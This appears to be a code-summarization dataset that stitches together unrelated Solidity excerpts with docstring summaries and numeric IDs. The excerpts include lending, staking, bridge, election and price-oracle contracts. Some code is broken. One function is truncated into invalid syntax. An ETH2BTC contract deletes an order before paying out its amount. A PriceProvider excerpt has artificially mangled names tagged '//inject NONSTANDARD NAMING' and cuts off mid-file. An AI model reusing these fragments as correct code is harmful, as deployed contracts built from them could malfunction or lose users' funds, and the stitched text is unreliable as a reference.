MathHelpers.getPartialAmount( principalForBucketForAccount, principalTotal, maxHeldToken ); updatePrincipal(bucket, principalForBucketForAccount, false); return heldTokenToWithdraw; } // ============ Setter Functions ============ /** * Changes the critical bucket variable * * @param bucket The value to set criticalBucket to */ function setCriticalBucket( uint256 bucket ) private { // don't spend the gas to sstore unless we need to change the value if (criticalBucket == bucket) { return; } criticalBucket = bucket; } /** * Changes the available owedToken amount. This changes both the variable to track the total * amount as well as the variable to track a particular bucket. * * @param bucket The bucket number * @param amount The amount to change the available amount by * @param increase True if positive change, false if negative change */ function updateAvailable( uint256 bucket, uint256 amount, bool increase ) private { if (amount == 0) { return; } uint256 newTotal; uint256 newForBucket; if (increase) { newTotal = availableTotal.add(amount); newForBucket = availableForBucket[bucket].add(amount); emit AvailableIncreased(newTotal, bucket, newForBucket, amount); // solium-disable-line } else { newTotal = availableTotal.sub(amount); newForBucket = availableForBucket[bucket].sub(amount); emit AvailableDecreased(newTotal, bucket, newForBucket, amount); // solium-disable-line } availableTotal = newTotal; availableForBucket[bucket] = newForBucket; } /** * Changes the principal amount. This changes both the variable to track the total * amount as well as the variable to track a particular bucket. * * @param bucket The bucket number * @param amount The amount to change the principal amount by * @param increase True if positive change, false if negative change */ function updatePrincipal( uint256 bucket, uint256 amount, bool increase ) private { if (amount == 0) { return; } uint256 newTotal; uint256 newForBucket; if (increase) { newTotal = principalTotal.add(amount); newForBucket = principalForBucket[bucket].add(amount); emit PrincipalIncreased(newTotal, bucket, newForBucket, amount); // solium-disable-line } else { newTotal = principalTotal.sub(amount); newForBucket = principalForBucket[bucket].sub(amount); emit PrincipalDecreased(newTotal, bucket, newForBucket, amount); // solium-disable-line } principalTotal = newTotal; principalForBucket[bucket] = newForBucket; } } // File: contracts/margin/external/BucketLender/BucketLenderFactory.sol /** * @title BucketLenderFactory * @author dYdX * * Contract that allows anyone to deploy a BucketLender contract by sending a transaction. */ contract BucketLenderFactory { // ============ Events ============ event BucketLenderCreated( address indexed creator, address indexed owner, bytes32 indexed positionId, address at ); // ============ State Variables ============ // Address of the Margin contract for the dYdX Margin Trading Protocol address public DYDX_MARGIN; // ============ Constructor ============ constructor( address margin ) public { DYDX_MARGIN = margin; } // ============ Public Functions ============ /** * Deploy a new BucketLender contract to the blockchain * * @param positionId Unique ID of the position * @param owner Address to which ownership of the BucketLender will be transferred * @param heldToken Address of the token held in the position as collateral * @param owedToken Address of the token being lent by the BucketLender * @param parameters Values corresponding to: * * [0] = number of seconds per bucket * [1] = interest rate * [2] = interest period * [3] = maximum loan duration * [4] = margin-call timelimit * [5] = numerator of minimum heldToken-per-owedToken * [6] = denominator of minimum heldToken-per-owedToken * * @param marginCallers Accounts that are permitted to margin-call positions (or cancel the margin call) * @return The address of the new BucketLender contract */ function createBucketLender( bytes32 positionId, address owner, address heldToken, address owedToken, uint32[7] parameters, address[] marginCallers, address[] withdrawers ) external returns (address) { address newBucketLender = new BucketLender( DYDX_MARGIN, positionId, heldToken, owedToken, parameters, marginCallers, withdrawers ); BucketLender(newBucketLender).transferOwnership(owner); emit BucketLenderCreated( msg.sender, owner, positionId, newBucketLender ); return newBucketLender; } }
Calculates time elapsed rounded up to the nearest interestPeriod/ round up to interestPeriod
function calculateEffectiveTimeElapsed( Position storage position, uint256 timestamp ) internal view returns (uint256) { uint256 elapsed = timestamp.sub(position.startTimestamp); uint256 period = position.interestPeriod; if (period > 1) { elapsed = MathHelpers.divisionRoundedUp(elapsed, period).mul(period); } elapsed, position.maxDuration ); }
1,593,937
./partial_match/42/0x3515C0946aeA5e32E7238DC5Eb34aaB46e5e7127/sources/PERC20.sol
转账给flashloan合约调用flashloan合约的闪电贷方法
function flashloan(address _receiver, uint256 _amount, bytes memory _params) external nonReentrant { require(_amount > 0, "amount must bigger than zero"); uint256 availableLiquidityBefore = getCashPrior(); require(availableLiquidityBefore >= _amount, "There is not enough liquidity available to borrow"); address payable flashloanAddress = address(uint160(address(flashloanInstance))); doTransferOut(flashloanAddress, _amount); flashloanInstance.flashloan(_receiver, underlying, _amount, _params); uint availableLiquidityAfter = getCashPrior(); require(availableLiquidityAfter >= availableLiquidityBefore, "The actual balance of the protocol is inconsistent"); }
3,315,306
// SPDX-License-Identifier: MIT pragma solidity >=0.4.18; pragma experimental ABIEncoderV2; import "contracts/Zipper.sol"; /// @title Set containing proposals /// @author Giovanni Rescinito /// @notice proposals submitted by agents, along with the corresponding assignment and commitment library Proposals{ //Data Structures /// @notice Data structure related to a single proposal struct Proposal { uint assignment; // zipped assignment associated to the proposal bytes32 commitment; // commitment associated to the proposal bytes work; // work submitted } /// @notice Set data structure containing proposals struct Set { uint optimalWidth; // optimal width calculated starting from the number of proposals submitted Proposal[] elements; // list of the proposals submitted mapping (bytes32 => uint) idx; // maps the proposal to the index in the list mapping (uint => uint) tokenToIndex; // maps the token associated to the proposal to the corresponding index in the list } //Events event ProposalSubmitted(bytes32 hashedWork, uint ID); event Committed(uint tokenId, bytes32 commitment); event Revealed(bytes32 commitment,uint randomness, uint[] assignments, uint[] evaluations, uint tokenId); /// @notice checks that the index corresponds to an existing value in the set /// @param s the set to check /// @param index the index to check modifier checkIndex(Set storage s, uint index) { require(index >= 0 && index < s.elements.length, "Set out of bounds"); _; } //Utility /// @notice returns the number of proposals submitted /// @param s set containing proposals /// @return the length of the list contained in the set function length(Set storage s) view external returns (uint) { return s.elements.length; } /// @notice hashes the work submitted to obtain the index of the set /// @param work the work to be hashed /// @return the keccak256 hash of the work function encodeWork(bytes calldata work) pure private returns (bytes32){ return keccak256(abi.encodePacked(work)); } //Setters /// @notice calculates and stores the optimal index width starting from the number of proposals submitted /// @param s set containing proposals function calculateOptimalWidth(Set storage s) external{ s.optimalWidth = Zipper.optimalWidth(s.elements.length); } /// @notice stores a proposal in the set /// @param s set containing proposals /// @param work the work submitted /// @return the proposal created from the work function propose(Set storage s, bytes calldata work) external returns (Proposal memory){ bytes32 h = encodeWork(work); uint index = s.idx[h]; require(index == 0, "Work already proposed"); Proposal memory p = Proposal(0, 0x0, work); s.elements.push(p); index = s.elements.length; s.idx[h] = index; emit ProposalSubmitted(h, index - 1); return p; } /// @notice updates the assignment in the set given a specific index /// @param s set containing proposals /// @param index index in the list of elements of the set to update /// @param assignment the assignment to be stored function updateAssignment(Set storage s, uint index, uint[] calldata assignment) external checkIndex(s, index) { s.elements[index].assignment = Zipper.zipArrayWithSize(assignment,s.optimalWidth); } /// @notice associates a proposal to a token /// @param s set containing proposals /// @param p proposal to consider /// @param tokenId token to associate to the proposal function setToken(Set storage s, Proposal calldata p, uint tokenId) external{ s.tokenToIndex[tokenId] = getId(s, p); } /// @notice stores the commitment in the proposal considered /// @param s set containing proposals /// @param tokenId token associated to the proposal for which the evaluations' commitment should be stored /// @param com the commitment to save function setCommitment(Set storage s, uint tokenId, bytes32 com) external{ uint id = getIdFromToken(s,tokenId); require(id >= 0 && id < s.elements.length, "Set out of bounds"); s.elements[id].commitment = com; emit Committed(tokenId, com); } //Getters /// @param s set containing proposals /// @param p proposal considered /// @return the assignment associated to the proposal function getAssignment(Set storage s,Proposal calldata p) view external returns (uint[] memory) { return Zipper.unzipArrayWithSize(p.assignment,s.optimalWidth); } /// @param p proposal considered /// @return the work associated to the proposal function getWork(Proposal calldata p) pure external returns (bytes memory) { return p.work; } /// @param p proposal considered /// @return the commitment associated to the proposal function getCommitment(Proposal calldata p) pure external returns (bytes32){ return p.commitment; } /// @param s set containing proposals /// @param p proposal considered /// @return the index associated to the proposal function getId(Set storage s, Proposal calldata p) view private returns (uint){ return s.idx[encodeWork(p.work)]; } /// @param s set containing proposals /// @param tokenId the token associated to the proposal /// @return the index associated to the proposal function getIdFromToken(Set storage s, uint tokenId) view public returns (uint){ uint id = s.tokenToIndex[tokenId]; require(id != 0, "Token unavailable"); return id - 1; } /// @param s set containing proposals /// @param index the index in the list of proposals /// @return the proposal associated to the index in the list function getProposalAt(Set storage s, uint index) view public checkIndex(s, index) returns (Proposal memory) { return s.elements[index]; } /// @param s set containing proposals /// @param tokenId the token associated to the proposal /// @return the proposal associated to the token provided function getProposalByToken(Set storage s, uint tokenId) view public returns (Proposal memory){ return getProposalAt(s, getIdFromToken(s,tokenId)); } /// @param s set containing proposals /// @param tokenId the token associated to the proposal /// @return the assignment associated to the proposal related to the token provided function getAssignmentByToken(Set storage s, uint tokenId) view external returns (uint[] memory) { Proposal memory p = getProposalByToken(s, tokenId); return Zipper.unzipArrayWithSize(p.assignment,s.optimalWidth); } /// @param s set containing proposals /// @return the optimal width calculated function getOptimalWidth(Set storage s) view external returns (uint){ return s.optimalWidth; } }
returns the number of proposals submitted s set containing proposals return the length of the list contained in the set
function length(Set storage s) view external returns (uint) { return s.elements.length; }
5,544,870
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/utils/SafeERC20Upgradeable.sol"; interface PurseToken { function transfer(address to, uint tokens) external returns (bool success); function mint(address to, uint tokens) external; function transferFrom(address from, address to, uint tokens) external returns (bool success); function balanceOf(address tokenOwner) external view returns (uint balance); } contract RestakingFarm is Initializable, UUPSUpgradeable, OwnableUpgradeable, PausableUpgradeable { using SafeERC20Upgradeable for IERC20Upgradeable; // ---Contract Variables--- string public name; // Userinfo struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of PURSEs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accPursePerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accPursePerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20Upgradeable lpToken; // Address of LP token contract. uint256 pursePerBlock; uint256 bonusMultiplier; uint256 lastRewardBlock; // Last block number that PURSEs distribution occurs. uint256 accPursePerShare; // Accumulated PURSEs per share, times 1e12. See below. uint256 startBlock; } // The PURSE TOKEN! PurseToken public purseToken; uint256 public totalMintToken; uint256 public capMintToken; IERC20Upgradeable[] public poolTokenList; mapping(IERC20Upgradeable => PoolInfo) public poolInfo; // Info of each user that stakes LP tokens. mapping (IERC20Upgradeable => mapping (address => UserInfo)) public userInfo; event Deposit(address indexed user, uint256 amount); event Withdraw(address indexed user, uint256 amount); event AddNewPool(address indexed owner, IERC20Upgradeable indexed lpToken, uint256 pursePerBlock, uint256 bonusMultiplier, uint256 startBlock); event UpdatePoolReward(address indexed owner, IERC20Upgradeable indexed lpToken, uint256 pursePerBlock); event UpdatePoolMultiplier(address indexed owner, IERC20Upgradeable indexed lpToken, uint256 bonusMultiplier); event ClaimReward(address indexed user, uint256 amount); event EmergencyWithdraw(address indexed user, IERC20Upgradeable indexed lpToken, uint256 amount); modifier poolExist(IERC20Upgradeable _lpToken) { require( poolInfo[(_lpToken)].lpToken != IERC20Upgradeable(address(0)), "Pool not exist"); _; } function poolLength() external view returns (uint256) { return poolTokenList.length; } // Add a new lp to the pool. Can only be called by the owner. function add(IERC20Upgradeable _lpToken, uint256 _pursePerBlock, uint256 _bonusMultiplier, uint256 _startBlock) public onlyOwner { require(_lpToken != IERC20Upgradeable(address(0)), "Farmer::add: invalid lp token"); require(poolInfo[_lpToken].lpToken == IERC20Upgradeable(address(0)), "Farmer::add: lp is already in pool"); uint256 lastRewardBlock = block.number > _startBlock ? block.number : _startBlock; poolInfo[(_lpToken)] = PoolInfo({ lpToken: _lpToken, pursePerBlock : _pursePerBlock, bonusMultiplier: _bonusMultiplier, lastRewardBlock: lastRewardBlock, accPursePerShare: 0, startBlock: _startBlock }); poolTokenList.push(_lpToken); emit AddNewPool(msg.sender, _lpToken, _pursePerBlock, _bonusMultiplier, _startBlock); } // Update the given pool's PURSE _pursePerBlock. Can only be called by the owner. function setPurseReward(IERC20Upgradeable _lpToken, uint256 _pursePerBlock) public onlyOwner poolExist(_lpToken){ PoolInfo storage pool = poolInfo[_lpToken]; require(pool.pursePerBlock != _pursePerBlock, "Same Purse Reward"); updatePool(_lpToken); pool.pursePerBlock = _pursePerBlock; emit UpdatePoolReward(msg.sender, _lpToken, _pursePerBlock); } // Update the given pool's PURSE _bonusMultiplier. Can only be called by the owner. function setBonusMultiplier(IERC20Upgradeable _lpToken, uint256 _bonusMultiplier) public onlyOwner poolExist(_lpToken){ PoolInfo storage pool = poolInfo[_lpToken]; require(pool.bonusMultiplier != _bonusMultiplier, "Same bonus multiplier"); updatePool(_lpToken); pool.bonusMultiplier= _bonusMultiplier; emit UpdatePoolMultiplier(msg.sender, _lpToken, _bonusMultiplier ); } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public pure returns (uint256) { return _to-_from; } // Update reward variables of the given pool to be up-to-date. function updatePool(IERC20Upgradeable _lpToken) public poolExist(_lpToken){ PoolInfo storage pool = poolInfo[_lpToken]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 purseReward = multiplier*pool.pursePerBlock*pool.bonusMultiplier; if (totalMintToken < capMintToken) { if (totalMintToken + purseReward >= capMintToken) { uint256 PurseCanMint = capMintToken-totalMintToken; totalMintToken += PurseCanMint; purseToken.mint(address(this), PurseCanMint); } else { totalMintToken += purseReward; purseToken.mint(address(this), purseReward); } } pool.accPursePerShare = pool.accPursePerShare+(purseReward*1e12/lpSupply); pool.lastRewardBlock = block.number; } // Deposit LP tokens to Restaking Pool for Purse allocation. function deposit(IERC20Upgradeable _lpToken, uint256 _amount) public whenNotPaused poolExist(_lpToken) { require(_amount > 0, "Deposit: not good"); PoolInfo storage pool = poolInfo[_lpToken]; UserInfo storage user = userInfo[_lpToken][msg.sender]; updatePool(_lpToken); if (user.amount > 0) { uint256 pending = user.amount*pool.accPursePerShare/1e12-user.rewardDebt; if(pending > 0) { safePurseTransfer(msg.sender, pending); } } if (_amount > 0) { pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount+_amount; } user.rewardDebt = user.amount*pool.accPursePerShare/1e12; emit Deposit(msg.sender, _amount); } // Withdraw LP tokens from MasterChef. function withdraw(IERC20Upgradeable _lpToken, uint256 _amount) public whenNotPaused poolExist(_lpToken){ PoolInfo storage pool = poolInfo[_lpToken]; UserInfo storage user = userInfo[_lpToken][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_lpToken); uint256 pending = user.amount*pool.accPursePerShare/1e12-user.rewardDebt; if(pending > 0) { safePurseTransfer(msg.sender, pending); } if(_amount > 0) { user.amount = user.amount-_amount; pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount*pool.accPursePerShare/1e12; emit Withdraw(msg.sender, _amount); } // Harvest reward tokens from pool. function claimReward(IERC20Upgradeable _lpToken) public whenNotPaused poolExist(_lpToken){ PoolInfo storage pool = poolInfo[_lpToken]; UserInfo storage user = userInfo[_lpToken][msg.sender]; require(user.amount > 0, "Claim: not good"); updatePool(_lpToken); uint256 pending = user.amount*pool.accPursePerShare/1e12-user.rewardDebt; if(pending > 0) { safePurseTransfer(msg.sender, pending); } user.rewardDebt = user.amount*pool.accPursePerShare/1e12; emit ClaimReward(msg.sender, pending); } function capMintTokenUpdate (uint256 _newCap) public onlyOwner { capMintToken = _newCap; } // Safe purse transfer function, just in case if rounding error causes pool to not have enough PURSEs. function safePurseTransfer(address _to, uint256 _amount) internal { uint256 purseBal = purseToken.balanceOf(address(this)); if (_amount > purseBal) { purseToken.transfer(_to, purseBal); } else { purseToken.transfer(_to, _amount); } } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(IERC20Upgradeable _lpToken) public poolExist(_lpToken) { PoolInfo storage pool = poolInfo[_lpToken]; UserInfo storage user = userInfo[_lpToken][msg.sender]; require(user.amount > 0, "Emergency Withdraw: not good"); uint256 amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(address(msg.sender), amount); emit EmergencyWithdraw(msg.sender, _lpToken, amount); } // Recover any token function, just in case if any user transfer token into the smart contract. function recoverToken(address token, uint256 amount, address _to) public onlyOwner{ require(_to != address(0), "send to the zero address"); IERC20Upgradeable(token).safeTransfer(_to, amount); } // View function to see pending PURSEs on frontend. function pendingReward(IERC20Upgradeable _lpToken, address _user) external view poolExist(_lpToken) returns (uint256) { PoolInfo memory pool = poolInfo[_lpToken]; UserInfo memory user = userInfo[_lpToken][_user]; uint256 accPursePerShare = pool.accPursePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); uint256 purseBal = purseToken.balanceOf(address(this)); uint256 pendingPurseMint = capMintToken - totalMintToken; uint256 totalPurseSupply = purseBal + pendingPurseMint; uint256 multiplier; if (block.number > pool.lastRewardBlock && lpSupply != 0) { multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 purseReward = multiplier*pool.pursePerBlock*pool.bonusMultiplier; accPursePerShare = accPursePerShare+(purseReward*(1e12)/lpSupply); } uint256 pending = user.amount*(accPursePerShare)/(1e12)-(user.rewardDebt); if (pending > totalPurseSupply) { pending = totalPurseSupply; } return (pending); } function pause() public whenNotPaused onlyOwner { _pause(); } function unpause() public whenPaused onlyOwner { _unpause(); } function _authorizeUpgrade(address) internal override onlyOwner {} function initialize(PurseToken _purseToken, uint256 _capMintToken) public initializer { name = "LP Token Restaking Farm"; purseToken = _purseToken; capMintToken = _capMintToken; __Pausable_init(); __Ownable_init(); __UUPSUpgradeable_init(); } }
Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public pure returns (uint256) { return _to-_from; }
6,364,950
./full_match/11155111/0x18d19C513562A772defd41797f0640758238216F/sources/contracts/L1/messaging/L1StandardBridge.sol
Performs the logic for bridging by storing the ETH and informing the L2 ETH Gateway of the bridge. _from Account to pull the ETH from on L1. _to Account to give the ETH to on L2. _l2Gas Gas limit required to complete the bridge on L2. _data Optional data to forward to L2. This data is provided solely as a convenience for external contracts. Aside from enforcing a maximum length, these contracts provide no guarantees about its content./ Construct calldata for finalizeBridge call Send calldata into L2 slither-disable-next-line reentrancy-events slither-disable-next-line reentrancy-events
function _initiateETHBridge( address _from, address _to, uint32 _l2Gas, bytes memory _data ) internal { bytes memory message = abi.encodeWithSelector( IL2ERC20Bridge.finalizeBridge.selector, address(0), Lib_PredeployAddresses.NVM_ETH, _from, _to, msg.value, _data ); sendCrossDomainMessage(l2TokenBridge, _l2Gas, message); emit ETHBridgeInitiated(_from, _to, msg.value, _data); }
3,793,126
./partial_match/1/0x089504de59277A3D085ad41F0d87E48581589d49/sources/MeebitsResolver.sol
Returns a positive number if `other` comes lexicographically after `self`, a negative number if it comes before, or zero if the contents of the two bytes are equal. Comparison is done per-rune, on unicode codepoints. self The first bytes to compare. offset The offset of self. len The length of self. other The second bytes to compare. otheroffset The offset of the other string. otherlen The length of the other string. return The result of the comparison./ Mask out irrelevant bytes and check again
function compare( bytes memory self, uint256 offset, uint256 len, bytes memory other, uint256 otheroffset, uint256 otherlen ) internal pure returns (int256) { if (offset + len > self.length) { revert OffsetOutOfBoundsError(offset + len, self.length); } if (otheroffset + otherlen > other.length) { revert OffsetOutOfBoundsError(otheroffset + otherlen, other.length); } uint256 shortest = len; if (otherlen < len) shortest = otherlen; uint256 selfptr; uint256 otherptr; assembly { selfptr := add(self, add(offset, 32)) otherptr := add(other, add(otheroffset, 32)) } for (uint256 idx = 0; idx < shortest; idx += 32) { uint256 a; uint256 b; assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { uint256 mask; if (shortest - idx >= 32) { mask = type(uint256).max; mask = ~(2 ** (8 * (idx + 32 - shortest)) - 1); } int256 diff = int256(a & mask) - int256(b & mask); if (diff != 0) return diff; } selfptr += 32; otherptr += 32; } return int256(len) - int256(otherlen); }
3,953,506
import "./summa-tx/BtcParser.sol"; import "./summa-tx/ValidateSPV.sol"; pragma experimental ABIEncoderV2; pragma solidity ^0.5.10; contract ETH2BTC { struct Order { uint256 etherAmount; uint256 bitcoinAmountAtRate; uint256 dueTimestamp; address payable refundAddress; } mapping(bytes20 => Order[]) public orders; // btc address to Order address public btcrelayAddress; address payable public admin; uint256 public etherToBitcoinRate; bytes20 public bitcoinAddress; constructor( bytes20 btcAddress, address payable adminAddr, uint256 initialRate, uint256 initialFeeRatio ) public { admin = adminAddr; bitcoinAddress = btcAddress; //default mainnet etherToBitcoinRate = initialRate; } function setEtherToBitcoinRate(uint256 rate) public { require(msg.sender == admin); etherToBitcoinRate = rate; } //market maker can only withdraw the order funds on proof of a bitcoin transaction to the buyer function proveBitcoinTransaction( bytes memory rawTransaction, uint256 transactionHash, bytes32 _txid, bytes32 _merkleRoot, bytes memory _proof, uint256 _index ) public returns (bool) { bytes memory senderPubKey = BtcParser.getPubKeyFromTx(rawTransaction); bytes20 senderAddress = bytes20( sha256(abi.encodePacked(sha256(senderPubKey))) ); //require that the market maker sent the bitcoin require(senderAddress == bitcoinAddress); require(ValidateSPV.prove(_txid, _merkleRoot, _proof, _index)); //first output goes to the order maker by deriving their btc address //from their ether pub key ( uint256 amt1, bytes20 address1, uint256 amt2, bytes20 address2 ) = BtcParser.getFirstTwoOutputs(rawTransaction); for (uint256 i = 0; i < orders[address1].length; i++) { //if two identical orders, simply grab the first one if (orders[address1][i].bitcoinAmountAtRate == amt1) { //once order is found, delete it //that way it is now claimed and can't be claimed multiple times //order can be claimed even if past due date, so long as the sender //hasn't already got a refund (in which case it would be refunded and the order deleted) //market maker should ensure they relay the bitcoin tx before expiry, else they could //be cheated out of their bitcoins by someone claiming to have not received them //when in fact they have but it hasn't been relayed delete orders[address1][i]; //withdraw the ether for the trade admin.transfer(orders[address1][i].etherAmount); return true; } } return false; } //sender can provide any bitcoin address they want to receive bitcoin on function placeOrder(bytes20 receiverBtcAddress, address payable refundAddr) public payable { require(msg.value > 0); //in case user doesn't set the refund address if (refundAddr == address(0)) refundAddr = msg.sender; uint256 btcAmount = msg.value * etherToBitcoinRate; //two weeks from order, should be processed well before this date but includes a margin of safety uint256 dueDate = block.timestamp + 1296000; Order memory newOrder = Order( msg.value, btcAmount, dueDate, refundAddr ); orders[receiverBtcAddress].push(newOrder); } function hashOrder(Order memory order) internal returns (bytes32) { return keccak256( abi.encodePacked( order.etherAmount, order.bitcoinAmountAtRate, order.dueTimestamp, order.refundAddress ) ); } // call this if bitcoin transaction never arrives and order is still present function getRefundForOrder(Order memory order, bytes20 orderOwner) public { bool orderIsPresent = false; uint256 pos = 0; bytes32 hashOfOrder = hashOrder(order); for (uint256 i = 0; i < orders[orderOwner].length; i++) { Order memory currentOrder = orders[orderOwner][i]; bytes32 orderHash = hashOrder(currentOrder); if (orderHash == hashOfOrder) { orderIsPresent = true; pos = i; break; } } require(orderIsPresent); require(order.dueTimestamp < block.timestamp); order.refundAddress.transfer(order.etherAmount); delete orders[orderOwner][pos]; } }
call this if bitcoin transaction never arrives and order is still present
function getRefundForOrder(Order memory order, bytes20 orderOwner) public { bool orderIsPresent = false; uint256 pos = 0; bytes32 hashOfOrder = hashOrder(order); for (uint256 i = 0; i < orders[orderOwner].length; i++) { Order memory currentOrder = orders[orderOwner][i]; bytes32 orderHash = hashOrder(currentOrder); if (orderHash == hashOfOrder) { orderIsPresent = true; pos = i; break; } } require(orderIsPresent); require(order.dueTimestamp < block.timestamp); order.refundAddress.transfer(order.etherAmount); delete orders[orderOwner][pos]; }
1,779,906
// SPDX-License-Identifier: UNLICENSED pragma solidity >=0.4.21 <0.8.0; pragma experimental ABIEncoderV2; import "./GorenCoinToken.sol"; contract Election { // Structs struct Candidate { string fullName; uint256 voteCount; } struct Voter { bool authorized; bool voted; uint256 vote; } // Fields address payable public owner; bool public voteLive; GorenCoinToken public tokenContract; uint256 public tokenPrice; mapping(address => Voter) public voters; Candidate[] public candidates; uint256 public totalVotes; uint256 public countCandidates; event AddedCandidate(uint256 candidateID); // Voted event event votedEvent(uint256 indexed _candidateId); // Modifiers modifier ownerOnly() { require(owner == msg.sender, "Not Owner"); _; } modifier authToVote() { require(voteLive); require(!voters[msg.sender].voted); require(voters[msg.sender].authorized); _; } // Constructor constructor(GorenCoinToken _tokenContract, uint256 _tokenPrice) public { owner = msg.sender; tokenContract = _tokenContract; tokenPrice = _tokenPrice; addCandidate("test"); } // Start Vote - Only by owner command function startVote() public ownerOnly { voteLive = true; } // End Vote - Triggered by time function endVote() public ownerOnly returns (string memory) { voteLive = false; uint256 _winner = 999; uint256 _maxVotes = 0; for (uint256 i = 0; i < countCandidates; i++) { if (candidates[i].voteCount >= _maxVotes) { _maxVotes = candidates[i].voteCount; _winner = i; } } return candidates[_winner].fullName; } // Add new candidate function addCandidate(string memory _fullName) public ownerOnly { candidates.push(Candidate(_fullName, 0)); countCandidates += 1; emit AddedCandidate(getNumOfCandidates()); } // Get total num of candidates function getNumOfCandidates() public view returns (uint256) { return countCandidates; } // Autorize someone to vote - only by owner function authorize(address _person) public ownerOnly { voters[_person].authorized = true; } // Vote function with asserts function vote(uint256 _voteIndex) public authToVote { voters[msg.sender].vote = _voteIndex; voters[msg.sender].voted = true; candidates[_voteIndex].voteCount += 1; totalVotes += 1; tokenContract.transfer(msg.sender, 1); emit votedEvent(_voteIndex); } // End Contract function end() public ownerOnly { selfdestruct(owner); } }
Autorize someone to vote - only by owner
function authorize(address _person) public ownerOnly { voters[_person].authorized = true; }
908,860
./partial_match/1/0xB53E093cDDbd0d3117e5103b38595c618A3C49a3/sources/Swapper.sol
calculates the CREATE2 address for a pair without making any external calls
function pairFor( address factory, address tokenA, address tokenB ) internal pure returns (address pair) { }
4,400,880
./partial_match/1/0x11b2164DDf1C3c0a420cEaD050d422B26530d11C/sources/contracts/facets/ERC712/ERC712Facet.sol
@inheritdoc IERC712Facet If the hashed name and version in storage are non-zero, the contract hasn't been properly initialized and the EIP712 domain is not reliable, as it will be missing name and version.
function eip712Domain() public view returns ( bytes1 fields, string memory name, string memory version, uint256 chainId, address verifyingContract, bytes32 salt, uint256[] memory extensions ) { require(ERC712Storage.layout()._hashedName == 0 && ERC712Storage.layout()._hashedVersion == 0, "EIP712: Uninitialized"); return ( ERC712Lib._EIP712Name(), ERC712Lib._EIP712Version(), block.chainid, address(this), bytes32(0), new uint256[](0) ); }
9,188,795
./full_match/3/0xf3C3c63Af990927517D3aA85Ce62d110ea4e5295/sources/ManualCommonSyrup_2.sol
Deposit staked tokens and collect reward tokens (if any) _amount: amount to withdraw (in rewardToken)/
function deposit(uint256 _amount) external nonReentrant { UserInfo storage user = userInfo[msg.sender]; if (hasUserLimit) { require( _amount.add(user.amount) <= poolLimitPerUser, "User amount above limit" ); } _updatePool(); if (user.amount > 0) { uint256 pending = user .amount .mul(accTokenPerShare) .div(PRECISION_FACTOR) .sub(user.rewardDebt); if (pending > 0) { lpToken.safeTransferFrom(address(rewardTokenHolder),address(msg.sender), pending); } } if (_amount > 0) { user.amount = user.amount.add(_amount); lpToken.safeTransferFrom( address(msg.sender), address(this), _amount ); } user.rewardDebt = user.amount.mul(accTokenPerShare).div( PRECISION_FACTOR ); emit Deposit(msg.sender, _amount); }
14,140,009
// SPDX-License-Identifier: MIT pragma solidity 0.6.6; // abstract contract Context { function _MSGSENDER742() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING return msg.sender; } function _MSGDATA476() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // contract Ownable is Context { address private _owner; event OWNERSHIPTRANSFERRED603(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING constructor () internal { address msgSender = _MSGSENDER742(); _owner = msgSender; emit OWNERSHIPTRANSFERRED603(address(0), msgSender); } function OWNER943() public view returns (address) { //inject NONSTANDARD NAMING return _owner; } modifier ONLYOWNER460() { //inject NONSTANDARD NAMING require(_owner == _MSGSENDER742(), "Ownable: caller is not the owner"); _; } function RENOUNCEOWNERSHIP291() public virtual ONLYOWNER460 { //inject NONSTANDARD NAMING emit OWNERSHIPTRANSFERRED603(_owner, address(0)); _owner = address(0); } function TRANSFEROWNERSHIP407(address newOwner) public virtual ONLYOWNER460 { //inject NONSTANDARD NAMING require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OWNERSHIPTRANSFERRED603(_owner, newOwner); _owner = newOwner; } } abstract contract PriceProvider is Ownable { address public manager; string public providerName; uint8 public constant decimals686 = 2; // decimals of ethereum price //inject NONSTANDARD NAMING bool public updateRequred; constructor(string memory _providerName, address _manager, bool _updateRequred) public Ownable() { providerName = _providerName; manager = _manager; updateRequred = _updateRequred; } function SETMANAGER980(address _manager) external ONLYOWNER460 { //inject NONSTANDARD NAMING manager = _manager; } function LASTPRICE690() public virtual view returns (uint32); //inject NONSTANDARD NAMING } // interface IERC20 { function TOTALSUPPLY861() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF276(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER827(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE661(address owner, address spender) external view returns (uint256); //inject NONSTANDARD 